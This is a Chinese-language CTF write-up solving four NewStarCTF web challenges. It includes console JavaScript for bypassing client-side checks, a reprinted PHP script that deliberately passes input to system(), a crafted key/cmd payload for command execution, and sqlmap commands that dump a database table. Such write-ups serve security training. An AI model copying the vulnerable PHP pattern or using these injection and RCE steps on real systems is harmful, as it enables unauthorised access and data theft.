NewStarCTF_WP

  1. headach3
  2. 会赢吗
  3. 智械危机
  4. 谢谢皮蛋

headach3

签到题,查看头就可以找到flag

会赢吗

信息搜集:查看源码得到第一部分flag和下一关的路径

第二关要求在控制台传参,这里带点脑洞,要传的参数就是关卡的名称4cqu1siti0n

async function revealFlag(className) {
    try {
        const url = `/api/flag/${className}`;
        console.log(`Sending request to: ${url}`);
        
        const response = await fetch(url, {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            }
        });
        
        console.log(`Response status: ${response.status}`);
        
        if (response.ok) {
            const data = await response.json();
            console.log(`${data.flag} ${data.nextLevel}`);
        } else {
            console.error('请求失败,请检查输入或服务器响应。');
        }
    } catch (error) {
        console.error('请求过程中出现错误:', error);
    }
}

revealFlag('4cqu1siti0n');  // 尝试使用有效的类名

传入后可以得到第二段flag,以及第三关的路径s34l,由于这沟糟的环境就会出现奇奇怪怪的问题,所以往往得尝试好几次才可以。

这一关得先让五条悟解封,才可以,同样在控制台传参

document.getElementById('state').textContent = '解封';

然后再点击解封,得到第三段flag和下一关路径

这一关比较简单,把JS关掉即可

chrome://settings/content/javascript 在谷歌输入这个路径即可禁用js

成功得到最后一段flag

智械危机

查看robots协议看到题目路径

<?php

function execute_cmd($cmd) {
    system($cmd);
}

function decrypt_request($cmd, $key) {
    $decoded_key = base64_decode($key);
    $reversed_cmd = '';
    for ($i = strlen($cmd) - 1; $i >= 0; $i--) {
        $reversed_cmd .= $cmd[$i];
    }
    $hashed_reversed_cmd = md5($reversed_cmd);
    if ($hashed_reversed_cmd !== $decoded_key) {
        die("Invalid key");
    }
    $decrypted_cmd = base64_decode($cmd);
    return $decrypted_cmd;
}

if (isset($_POST['cmd']) && isset($_POST['key'])) {
    execute_cmd(decrypt_request($_POST['cmd'],$_POST['key']));
}
else {
    highlight_file(__FILE__);
}
?>

做题思路

key这个参数,进行了一次base64解密

cmd这个参数,先进行了一次翻转,再进行一次md5加密,然后进行判断,如果这个进行翻转再md5加密的字符不等于这个进行base64加密的key,就输出无效的钥匙,如果通过,会将cmd进行一次base64的解密。

然后你需要Post传入两个参数cmd和key

假设我的cmd是bHMgLw==即(ls /),我需要先将这个翻转,再md5,

key=ZTk0ZDNmOWQyNzBmNTczNGMwZTYwNDY3ZDQ0ZTdkNDY=&cmd=bHMgLw==

顺着思路实现rce即可

谢谢皮蛋

sqlmap一把梭,要启用一个模块可以解码base64的 –tamper=base64encode.py,这样就可以直接一把梭了

然后就是常规的查库查表查列的操作

sqlmap -r 666.txt --tamper=base64encode.py --dbs  
sqlmap -r 666.txt --tamper=base64encode.py -D ctf --tables
sqlmap -r 666.txt --tamper=base64encode.py -D ctf -T Fl4g --columns
sqlmap -r 666.txt --tamper=base64encode.py -D ctf -T Fl4g -Cvalue --dump